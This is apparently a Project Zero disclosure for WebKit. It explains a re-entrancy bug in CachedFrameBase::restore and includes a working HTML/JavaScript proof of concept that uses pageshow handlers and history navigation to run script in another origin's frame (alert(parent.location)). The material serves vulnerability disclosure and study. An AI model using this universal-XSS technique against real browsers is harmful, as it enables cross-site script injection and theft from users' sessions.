89 lines
No EOL
2.4 KiB
HTML
89 lines
No EOL
2.4 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151
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Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.
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void CachedFrameBase::restore()
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{
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...
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for (auto& childFrame : m_childFrames) {
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ASSERT(childFrame->view()->frame().page());
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frame.tree().appendChild(childFrame->view()->frame());
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childFrame->open(); <----- (a)
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}
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...
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// FIXME: update Page Visibility state here.
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// https://bugs.webkit.org/show_bug.cgi?id=116770
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m_document->enqueuePageshowEvent(PageshowEventPersisted);
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HistoryItem* historyItem = frame.loader().history().currentItem();
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if (historyItem && historyItem->stateObject())
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m_document->enqueuePopstateEvent(historyItem->stateObject());
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frame.view()->didRestoreFromPageCache();
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}
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enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously.
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At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.
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PoC:
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-->
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<html>
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<body>
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<script>
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function createURL(data, type = 'text/html') {
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return URL.createObjectURL(new Blob([data], {type: type}));
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}
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function navigate(w, url) {
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let a = w.document.createElement('a');
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a.href = url;
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a.click();
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}
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function main() {
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let i0 = document.body.appendChild(document.createElement('iframe'));
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let i1 = document.body.appendChild(document.createElement('iframe'));
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i0.contentWindow.onpageshow = () => {
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navigate(window, 'https://abc.xyz/');
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showModalDialog(createURL(`
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<script>
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let it = setInterval(() => {
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try {
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opener.document.x;
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} catch (e) {
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clearInterval(it);
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window.close();
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}
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}, 10);
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</scrip` + 't>'));
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};
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i1.contentWindow.onpageshow = () => {
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i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
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navigate(i1.contentWindow, 'about:srcdoc');
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};
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navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
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window.onclick = () => {
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window.onclick = null;
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history.back();
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};
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</scrip` + `t></body></html>`));
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}
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window.onload = () => {
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setTimeout(main, 0);
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};
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</script>
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</body>
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</html> |